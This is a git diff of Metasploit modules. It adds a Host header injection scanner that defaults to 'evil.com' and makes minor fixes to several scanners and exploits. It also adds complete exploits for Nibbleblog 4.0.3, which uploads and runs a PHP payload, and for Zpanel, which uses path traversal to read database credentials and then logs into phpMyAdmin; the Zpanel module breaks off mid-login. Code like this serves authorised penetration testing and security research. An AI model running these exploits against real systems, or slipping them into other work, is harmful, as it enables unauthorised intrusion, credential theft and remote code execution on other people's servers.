@ -0,0 +1,71 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit4 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::WmapScanServer
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'HTTP Host Header Injection Detection',
|
||||||
|
'Description' => 'Checks if the host is vulnerable to Host header injection',
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Jay Turla', # @shipcod3
|
||||||
|
'Medz Barao' # @godflux
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html']
|
||||||
|
]
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETHOST', [true, 'The redirector target', 'evil.com'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
begin
|
||||||
|
target_host = "#{datastore['TARGETHOST']}"
|
||||||
|
res = send_request_raw(
|
||||||
|
'uri' => '/',
|
||||||
|
'method' => 'GET',
|
||||||
|
'headers' => {
|
||||||
|
'Host' => target_host,
|
||||||
|
'X-Forwarded-Host' => target_host
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
unless res
|
||||||
|
vprint_error("#{peer} did not reply to our request")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.headers.include?(target_host) || res.body.include?(target_host)
|
||||||
|
print_good("#{peer} is vulnerable to HTTP Host header injection")
|
||||||
|
report_vuln(
|
||||||
|
host: ip,
|
||||||
|
port: rport,
|
||||||
|
proto: 'tcp',
|
||||||
|
sname: ssl ? 'https' : 'http',
|
||||||
|
name: 'HTTP Host header injection',
|
||||||
|
refs: self.references
|
||||||
|
)
|
||||||
|
else
|
||||||
|
vprint_error("#{peer} returned #{res.code} #{res.message}")
|
||||||
|
end
|
||||||
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||||
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -22,13 +22,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
begin
|
begin
|
||||||
res = connect
|
connect
|
||||||
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
|
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
|
||||||
print_status("#{ip}:#{rport} IMAP #{banner_sanitized}")
|
print_status("#{ip}:#{rport} IMAP #{banner_sanitized}")
|
||||||
report_service(:host => rhost, :port => rport, :name => "imap", :info => banner)
|
report_service(:host => rhost, :port => rport, :name => "imap", :info => banner)
|
||||||
rescue ::Rex::ConnectionError
|
rescue ::Rex::ConnectionError
|
||||||
|
rescue ::EOFError
|
||||||
|
print_error("#{ip}:#{rport} - The service failed to respond")
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
print_error("#{rhost}:#{rport} #{e} #{e.backtrace}")
|
print_error("#{ip}:#{rport} - #{e} #{e.backtrace}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -8,7 +8,7 @@ require 'rex/java/serialization'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Java::Rmi::Client
|
include Msf::Exploit::Remote::Java::Rmi::Client
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
if exception.class == Rex::Java::Serialization::Model::NewObject &&
|
if exception.class == Rex::Java::Serialization::Model::NewObject &&
|
||||||
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
||||||
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
|
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
|
||||||
exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
|
[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&
|
||||||
!exception.class_data[1].contents.include?('RMI class loader disabled')
|
!exception.class_data[1].contents.include?('RMI class loader disabled')
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
|
@ -25,14 +25,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
begin
|
begin
|
||||||
res = connect
|
connect
|
||||||
banner = sock.get_once(-1, 30)
|
banner = sock.get_once(-1, 30)
|
||||||
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
|
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
|
||||||
print_status("#{ip}:#{rport} POP3 #{banner_sanitized}")
|
print_status("#{ip}:#{rport} POP3 #{banner_sanitized}")
|
||||||
report_service(:host => rhost, :port => rport, :name => "pop3", :info => banner)
|
report_service(:host => rhost, :port => rport, :name => "pop3", :info => banner)
|
||||||
rescue ::Rex::ConnectionError
|
rescue ::Rex::ConnectionError
|
||||||
|
rescue ::EOFError
|
||||||
|
print_error("#{ip}:#{rport} - The service failed to respond")
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
print_error("#{rhost}:#{rport} #{e} #{e.backtrace}")
|
print_error("#{ip}:#{rport} - #{e} #{e.backtrace}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -121,6 +121,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
framework_module: self,
|
framework_module: self,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
scanner.verbosity = :debug if datastore['SSH_DEBUG']
|
||||||
|
|
||||||
scanner.scan! do |result|
|
scanner.scan! do |result|
|
||||||
credential_data = result.to_h
|
credential_data = result.to_h
|
||||||
credential_data.merge!(
|
credential_data.merge!(
|
||||||
|
|
|
@ -214,6 +214,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
framework_module: self,
|
framework_module: self,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
scanner.verbosity = :debug if datastore['SSH_DEBUG']
|
||||||
|
|
||||||
scanner.scan! do |result|
|
scanner.scan! do |result|
|
||||||
credential_data = result.to_h
|
credential_data = result.to_h
|
||||||
credential_data.merge!(
|
credential_data.merge!(
|
||||||
|
|
|
@ -36,16 +36,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(target_host)
|
def run_host(target_host)
|
||||||
connect
|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
|
connect
|
||||||
vnc = Rex::Proto::RFB::Client.new(sock)
|
vnc = Rex::Proto::RFB::Client.new(sock)
|
||||||
if not vnc.handshake
|
unless vnc.handshake
|
||||||
raise RuntimeError.new("Handshake failed: #{vnc.error}")
|
print_error("#{target_host}:#{rport} - Handshake failed: #{vnc.error}")
|
||||||
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
ver = "#{vnc.majver}.#{vnc.minver}"
|
ver = "#{vnc.majver}.#{vnc.minver}"
|
||||||
print_status("#{target_host}:#{rport}, VNC server protocol version : #{ver}")
|
print_status("#{target_host}:#{rport} - VNC server protocol version: #{ver}")
|
||||||
svc = report_service(
|
svc = report_service(
|
||||||
:host => rhost,
|
:host => rhost,
|
||||||
:port => rport,
|
:port => rport,
|
||||||
|
@ -55,8 +55,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
)
|
)
|
||||||
|
|
||||||
type = vnc.negotiate_authentication
|
type = vnc.negotiate_authentication
|
||||||
if not type
|
unless type
|
||||||
raise RuntimeError.new("Auth negotiation failed: #{vnc.error}")
|
print_error("#{target_host}:#{rport} - Auth negotiation failed: #{vnc.error}")
|
||||||
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
# Show the allowed security types
|
# Show the allowed security types
|
||||||
|
@ -64,10 +65,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
vnc.auth_types.each { |type|
|
vnc.auth_types.each { |type|
|
||||||
sec_type << Rex::Proto::RFB::AuthType.to_s(type)
|
sec_type << Rex::Proto::RFB::AuthType.to_s(type)
|
||||||
}
|
}
|
||||||
print_status("#{target_host}:#{rport}, VNC server security types supported : #{sec_type.join(",")}")
|
print_status("#{target_host}:#{rport} - VNC server security types supported: #{sec_type.join(",")}")
|
||||||
|
|
||||||
if (vnc.auth_types.include? Rex::Proto::RFB::AuthType::None)
|
if (vnc.auth_types.include? Rex::Proto::RFB::AuthType::None)
|
||||||
print_good("#{target_host}:#{rport}, VNC server security types includes None, free access!")
|
print_good("#{target_host}:#{rport} - VNC server security types includes None, free access!")
|
||||||
report_vuln(
|
report_vuln(
|
||||||
{
|
{
|
||||||
:host => rhost,
|
:host => rhost,
|
||||||
|
@ -78,11 +79,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
:exploited_at => Time.now.utc
|
:exploited_at => Time.now.utc
|
||||||
})
|
})
|
||||||
end
|
end
|
||||||
|
|
||||||
rescue RuntimeError
|
|
||||||
print_error("#{target_host}:#{rport}, #{$!}")
|
|
||||||
raise $!
|
|
||||||
|
|
||||||
ensure
|
ensure
|
||||||
disconnect
|
disconnect
|
||||||
end
|
end
|
||||||
|
|
|
@ -277,4 +277,8 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
send_response(cli, @pl)
|
send_response(cli, @pl)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def autofilter
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -107,6 +107,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def autofilter
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
@pl = generate_payload_exe
|
@pl = generate_payload_exe
|
||||||
if @pl.blank?
|
if @pl.blank?
|
||||||
|
|
|
@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
This module exploits an anonymous remote code execution vulnerability on D-Link DIR-605L routers. The
|
This module exploits an anonymous remote code execution vulnerability on D-Link DIR-605L routers. The
|
||||||
vulnerability exists while handling user supplied captcha information, and is due to the
|
vulnerability exists while handling user supplied captcha information, and is due to the
|
||||||
insecure usage of sprintf on the getAuthCode() function. This module has been tested
|
insecure usage of sprintf on the getAuthCode() function. This module has been tested
|
||||||
successfully on DLink DIR-605L Firmware 1.13 under a QEMU environment.
|
successfully on D-Link DIR-605L firmware 1.13 (emulated) and firmware 1.12 (real).
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
[ 'DLink DIR-605L 1.13',
|
[ 'D-Link DIR-605L 1.13', # Works on 1.12 as well
|
||||||
{
|
{
|
||||||
'Offset' => 94,
|
'Offset' => 94,
|
||||||
'LibcBase' => 0x2ab86000, # According to Original Exploit by Craig Heffner
|
'LibcBase' => 0x2ab86000, # According to Original Exploit by Craig Heffner
|
||||||
|
|
|
@ -148,6 +148,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def autofilter
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
#task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-(
|
#task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-(
|
||||||
#instead we use a CFML filedropper to embed our payload and execute it.
|
#instead we use a CFML filedropper to embed our payload and execute it.
|
||||||
#this also removes the dependancy of using the probe.cfm to execute the file.
|
#this also removes the dependancy of using the probe.cfm to execute the file.
|
||||||
|
|
|
@ -326,6 +326,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def autofilter
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
# Try to autodetect the target platform
|
# Try to autodetect the target platform
|
||||||
def detect_platform(res)
|
def detect_platform(res)
|
||||||
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
|
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
|
||||||
|
|
|
@ -0,0 +1,160 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://www.metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'Nibbleblog File Upload Vulnerability',
|
||||||
|
'Description' => %q{
|
||||||
|
Nibbleblog contains a flaw that allows a authenticated remote
|
||||||
|
attacker to execute arbitrary PHP code. This module was
|
||||||
|
tested on version 4.0.3.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name?
|
||||||
|
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Sep 01 2015',
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' => [['Nibbleblog 4.0.3', {}]],
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
|
||||||
|
OptString.new('USERNAME', [true, 'The username to authenticate with']),
|
||||||
|
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def username
|
||||||
|
datastore['USERNAME']
|
||||||
|
end
|
||||||
|
|
||||||
|
def password
|
||||||
|
datastore['PASSWORD']
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
cookie = do_login(username, password)
|
||||||
|
return Exploit::CheckCode::Detected unless cookie
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'admin.php'),
|
||||||
|
'cookie' => cookie,
|
||||||
|
'vars_get' => {
|
||||||
|
'controller' => 'settings',
|
||||||
|
'action' => 'general'
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"')
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def do_login(user, pass)
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'admin.php')
|
||||||
|
)
|
||||||
|
|
||||||
|
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
|
||||||
|
|
||||||
|
session_cookie = res.get_cookies
|
||||||
|
vprint_status("#{peer} - Logging in...")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'admin.php'),
|
||||||
|
'cookie' => session_cookie,
|
||||||
|
'vars_post' => {
|
||||||
|
'username' => user,
|
||||||
|
'password' => pass
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
return session_cookie if res && res.code == 302 && res.headers['Location']
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check)
|
||||||
|
print_error("Target does not appear to be vulnerable.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status("#{peer} - Authenticating using #{username}:#{password}")
|
||||||
|
|
||||||
|
cookie = do_login(username, password)
|
||||||
|
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
|
||||||
|
vprint_good("#{peer} - Authenticated with Nibbleblog.")
|
||||||
|
|
||||||
|
vprint_status("#{peer} - Preparing payload...")
|
||||||
|
payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"
|
||||||
|
|
||||||
|
data = Rex::MIME::Message.new
|
||||||
|
data.add_part('my_image', nil, nil, 'form-data; name="plugin"')
|
||||||
|
data.add_part('My image', nil, nil, 'form-data; name="title"')
|
||||||
|
data.add_part('4', nil, nil, 'form-data; name="position"')
|
||||||
|
data.add_part('', nil, nil, 'form-data; name="caption"')
|
||||||
|
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"")
|
||||||
|
data.add_part('1', nil, nil, 'form-data; name="image_resize"')
|
||||||
|
data.add_part('230', nil, nil, 'form-data; name="image_width"')
|
||||||
|
data.add_part('200', nil, nil, 'form-data; name="image_height"')
|
||||||
|
data.add_part('auto', nil, nil, 'form-data; name="image_option"')
|
||||||
|
post_data = data.to_s
|
||||||
|
|
||||||
|
vprint_status("#{peer} - Uploading payload...")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri, 'admin.php'),
|
||||||
|
'vars_get' => {
|
||||||
|
'controller' => 'plugins',
|
||||||
|
'action' => 'config',
|
||||||
|
'plugin' => 'my_image'
|
||||||
|
},
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||||
|
'data' => post_data,
|
||||||
|
'cookie' => cookie
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && /Call to a member function getChild\(\) on a non\-object/ === res.body
|
||||||
|
fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?')
|
||||||
|
elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') )
|
||||||
|
fail_with(Failure::Unknown, 'Unable to upload payload.')
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_good("#{peer} - Uploaded the payload.")
|
||||||
|
|
||||||
|
php_fname = 'image.php'
|
||||||
|
payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname)
|
||||||
|
vprint_status("#{peer} - Parsed response.")
|
||||||
|
|
||||||
|
register_files_for_cleanup(php_fname)
|
||||||
|
vprint_status("#{peer} - Executing the payload at #{payload_url}.")
|
||||||
|
send_request_cgi(
|
||||||
|
'uri' => payload_url,
|
||||||
|
'method' => 'GET'
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
|
@ -170,6 +170,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
send_response(cli, @pl)
|
send_response(cli, @pl)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def autofilter
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
def upload_payload
|
def upload_payload
|
||||||
print_status "#{peer} - Uploading payload ..."
|
print_status "#{peer} - Uploading payload ..."
|
||||||
path = "/#{@local_path}#{@payload_dir}#{@payload_name}"
|
path = "/#{@local_path}#{@payload_dir}#{@payload_name}"
|
||||||
|
|
|
@ -343,6 +343,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
send_response(cli, @pl)
|
send_response(cli, @pl)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def autofilter
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
# wait for the data to be sent
|
# wait for the data to be sent
|
||||||
def wait_payload
|
def wait_payload
|
||||||
print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...")
|
print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...")
|
||||||
|
|
|
@ -0,0 +1,297 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/exploit/php_exe'
|
||||||
|
require 'nokogiri'
|
||||||
|
require 'uri'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::Exploit::PhpEXE
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Zpanel Remote Unauthenticated RCE',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an information disclosure vulnerability
|
||||||
|
found in Zpanel <= 10.1.0. The vulnerability is due to a
|
||||||
|
vulnerable version of pChart allowing remote, unauthenticated,
|
||||||
|
users to read arbitrary files found on the filesystem. This
|
||||||
|
particular module utilizes this vulnerability to identify the
|
||||||
|
username/password combination of the MySQL instance. With the
|
||||||
|
credentials the attackers can login to PHPMyAdmin and execute
|
||||||
|
SQL commands to drop a malicious payload on the filesystem and
|
||||||
|
call it leading to remote code execution.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'dawn isabel',
|
||||||
|
'brad wolfe',
|
||||||
|
'brent morris',
|
||||||
|
'james fitts'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2013-2097' ],
|
||||||
|
[ 'EDB', '31173' ], # pChart
|
||||||
|
[ 'OSVDB', '102595' ], # pChart
|
||||||
|
[ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ],
|
||||||
|
[ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ],
|
||||||
|
[ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ]
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "\x00",
|
||||||
|
},
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
|
||||||
|
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Jan 30 2014'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_setting(res, setting_name)
|
||||||
|
n = ::Nokogiri::HTML(res.body)
|
||||||
|
spans = n.search('//code//span//span')
|
||||||
|
found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first
|
||||||
|
val = found_element.next.next.text
|
||||||
|
val.scan(/['"]([[:print:]]+)['"]/).flatten.first || ''
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_user(res)
|
||||||
|
get_setting(res, 'user')
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_passwd(res)
|
||||||
|
get_setting(res, 'pass')
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_dbname(res)
|
||||||
|
get_setting(res, 'dbname')
|
||||||
|
end
|
||||||
|
|
||||||
|
def dot_dot_slash(uri)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' =>'GET',
|
||||||
|
'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'),
|
||||||
|
'vars_get' => {
|
||||||
|
'Action' => 'View',
|
||||||
|
'Script' => '../../../../cnf/db.php'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
uname = get_user(res)
|
||||||
|
passwd = get_passwd(res)
|
||||||
|
dbname = get_dbname(res)
|
||||||
|
|
||||||
|
return uname, passwd, dbname
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_token_from_form(res)
|
||||||
|
hidden_inputs = res.get_hidden_inputs
|
||||||
|
hidden_inputs.first['token']
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_token_from_url(url)
|
||||||
|
u = URI(url)
|
||||||
|
u.query.split('&').each do |param|
|
||||||
|
param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten
|
||||||
|
return param_value if param_name == 'token'
|
||||||
|
end
|
||||||
|
|
||||||
|
''
|
||||||
|
end
|
||||||
|
|
||||||
|
def grab_sess_and_token(uri)
|
||||||
|
print_status('Attempting to get PHPSESSIONID')
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri("#{uri}"),
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID')
|
||||||
|
end
|
||||||
|
|
||||||
|
cookies = res.get_cookies
|
||||||
|
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
|
||||||
|
|
||||||
|
if sid.length > 0
|
||||||
|
print_good('PHPSESSID identified!')
|
||||||
|
print_good("PHPSESSID = #{sid.split("=")[1]}")
|
||||||
|
|
||||||
|
print_status('Attempting to get CSRF token')
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'),
|
||||||
|
'Cookie' => "#{sid}"
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token')
|
||||||
|
end
|
||||||
|
|
||||||
|
token = get_token_from_form(res)
|
||||||
|
cookies = res.get_cookies
|
||||||
|
|
||||||
|
cookies = cookies.split('; ')
|
||||||
|
cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}"
|
||||||
|
|
||||||
|
if token.length > 0
|
||||||
|
print_good('CSRF token identified!')
|
||||||
|
print_good("CSRF token = #{token}")
|
||||||
|
return cookies, token, sid
|
||||||
|
else
|
||||||
|
print_error('CSRF token could not be identified...')
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error('PHPSESSID could not be identified...')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
|
||||||
|
old_cookies = cookies
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
|
||||||
|
'cookie' => cookies,
|
||||||
|
'ctype' => 'application/x-www-form-urlencoded',
|
||||||
|
'headers'=>
|
||||||
|
{
|
||||||
|
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
|
||||||
|
},
|
||||||
|
'vars_post' => {
|
||||||
|
'pma_username' => uname,
|
||||||
|
'pma_password' => passwd,
|
||||||
|
'server' => '1',
|
||||||
|
'lang' => 'en',
|
||||||
|
'collation_connection' => 'utf8_general_ci',
|
||||||
|
'token' => token
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
cookies = "#{res.get_cookies}"
|
||||||
|
|
||||||
|
old_cookies = old_cookies.split("; ")
|
||||||
|
cookies = cookies.split("; ")
|
||||||
|
|
||||||
|
new_cookies = "#{old_cookies[0]}; "
|
||||||
|
new_cookies << "#{old_cookies[1]}; "
|
||||||
|
new_cookies << "#{old_cookies[2]}; "
|
||||||
|
new_cookies << "#{old_cookies[3]}; "
|
||||||
|
new_cookies << "#{cookies[0]}; "
|
||||||
|
new_cookies << "#{cookies[1]} "
|
||||||
|
new_cookies << "#{sess_id}"
|
||||||
|
|
||||||
|
token = get_token_from_url(res['Location'])
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
|
||||||
|
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
|
||||||
|
'cookie' => new_cookies,
|
||||||
|
'vars_get' => {
|
||||||
|
'token' => token
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin')
|
||||||
|
end
|
||||||
|
|
||||||
|
